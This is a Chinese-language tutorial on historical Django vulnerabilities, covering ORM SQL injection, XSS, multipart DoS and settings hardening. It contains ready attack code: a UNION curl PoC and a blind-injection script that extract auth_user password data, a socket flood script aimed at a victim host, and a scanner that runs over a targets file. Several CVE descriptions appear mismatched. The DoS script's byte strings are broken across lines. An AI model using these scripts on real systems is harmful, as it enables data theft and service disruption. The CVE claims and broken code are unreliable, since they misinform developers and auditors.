Django 历史漏洞全景

1. Django 安全模型依赖

  • ORM 自动转义(filter 参数化,order_by 不参数化);
  • 模板默认 HTML 实体编码;
  • CSRF 中间件默认启用;
  • 密码哈希用 PBKDF2。

漏洞根源: 开发者绕过了框架安全默认值。

2. ORM SQL 注入系列

2.1 order_by() 注入

# 漏洞代码
def list_articles(request):
    sort_field = request.GET.get("sort", "id")
    qs = Article.objects.all().order_by(sort_field)  # 危险!
    return render(request, "list.html", {"articles": qs})

PoC:

curl "http://victim.example.com/articles/?sort=id%20DESC%20UNION%20SELECT%201,username,password,4,5%20FROM%20auth_user--%20"

布尔盲注脚本:

import requests, time

def extract_password():
    url = "http://victim.example.com/articles/"
    result = ""
    for pos in range(1, 40):
        low, high = 32, 126
        while low < high:
            mid = (low + high) // 2
            payload = f"id AND (SELECT ASCII(SUBSTRING(password,{pos},1)) FROM auth_user LIMIT 1)>{mid}"
            r = requests.get(url, params={"sort": payload})
            if len(r.text) > 1000:
                low = mid + 1
            else:
                high = mid
        result += chr(low)
        print(result)
    return result

extract_password()

修复:

ALLOWED_SORT = {"id", "title", "-title", "created_at", "-created_at"}
sort_field = request.GET.get("sort", "id")
if sort_field not in ALLOWED_SORT: sort_field = "id"
qs = Article.objects.all().order_by(sort_field)

2.2 values_list / values 注入

fields = request.GET.get("fields", "id,name")
qs = User.objects.values_list(*fields.split(","))  # 危险,字段名直接拼接

2.3 CVE-2021-33571 JSONField 注入

Django 3.1+ 的 JSONField 在 PostgreSQL 上用 @> 操作符,未参数化:

# 漏洞
qs = Profile.objects.filter(data__contains={key: "x"})
# PoC: key 传 "x} OR 1=1 -- "

2.4 raw() / extra()

# 危险
Article.objects.extra(where=[f"author = '{author}'"])
# 安全
Article.objects.raw("SELECT * FROM article WHERE author = %s", [author])

3. XSS 系列

3.1 CVE-2022-22818 CSP 绕过

django.views.static.serve 返回文件时 Content-Type 头可被构造路径绕过:

GET /static/script.js%00.jpg HTTP/1.1
Host: victim.example.com

3.2 CVE-2023-41164 URL 反规范化

trusted_origins 对 IDN 字符处理缺陷,配合 mark_safe 实现反射型 XSS。

3.3 模板红线

{# 危险 1 #}{{ user_input|safe }}
{# 危险 2 #}{% autoescape off %}{{ user_input }}{% endautoescape %}
{# 危险 3 #}{{ user_input|striptags }}{# 只删标签,不处理事件属性 #}

4. 其他高危

4.1 CVE-2024-24680 MultipartParser DoS

import socket
def send_poc(host, port):
    s = socket.socket(); s.connect((host, port))
    body = b"
" * 10 + b"--boundary
" * 1000000
    req = (b"POST /upload HTTP/1.1
Host: " + host.encode() +
           b"
Content-Type: multipart/form-data; boundary=boundary
" +
           b"Content-Length: " + str(len(body)).encode() + b"

" + body)
    s.sendall(req); s.close()
send_poc("victim.example.com", 80)

4.2 CVE-2019-14232 PostgreSQL JSONField 注入

4.3 CVE-2020-13254 缓存键注入

5. 检测脚本

import requests, urllib3
urllib3.disable_warnings()

def detect(url):
    # order_by 盲注
    r = requests.get(url, params={"sort": "id,pg_sleep(5)-- "}, timeout=15, verify=False)
    if r.elapsed.total_seconds() > 5:
        print(f"[!] {url} 存在 order_by 盲注")
    # XSS
    payload = "<script>alert(1)</script>"
    r = requests.get(url, params={"q": payload}, verify=False, timeout=8)
    if payload in r.text and "<script>" in r.text.lower():
        print(f"[!] {url} 存在反射型 XSS")

for u in open("targets.txt"): detect(u.strip())

6. settings.py 安全加固

SECRET_KEY = os.environ["DJANGO_SECRET_KEY"]
DEBUG = False
ALLOWED_HOSTS = ["app.example.com"]
SECURE_HSTS_SECONDS = 31536000
SECURE_SSL_REDIRECT = True
SESSION_COOKIE_SECURE = True
CSRF_COOKIE_SECURE = True
X_FRAME_OPTIONS = "DENY"
MIDDLEWARE = [
    "django.middleware.security.SecurityMiddleware",
    "django.contrib.sessions.middleware.SessionMiddleware",
    "django.middleware.common.CommonMiddleware",
    "django.middleware.csrf.CsrfViewMiddleware",
    "django.contrib.auth.middleware.AuthenticationMiddleware",
    "django.middleware.csp.CSPMiddleware",
]

好的审计优先关注: order_by 动态参数、mark_safe 使用位置、extra/raw 原生 SQL、autoescape off 作用域。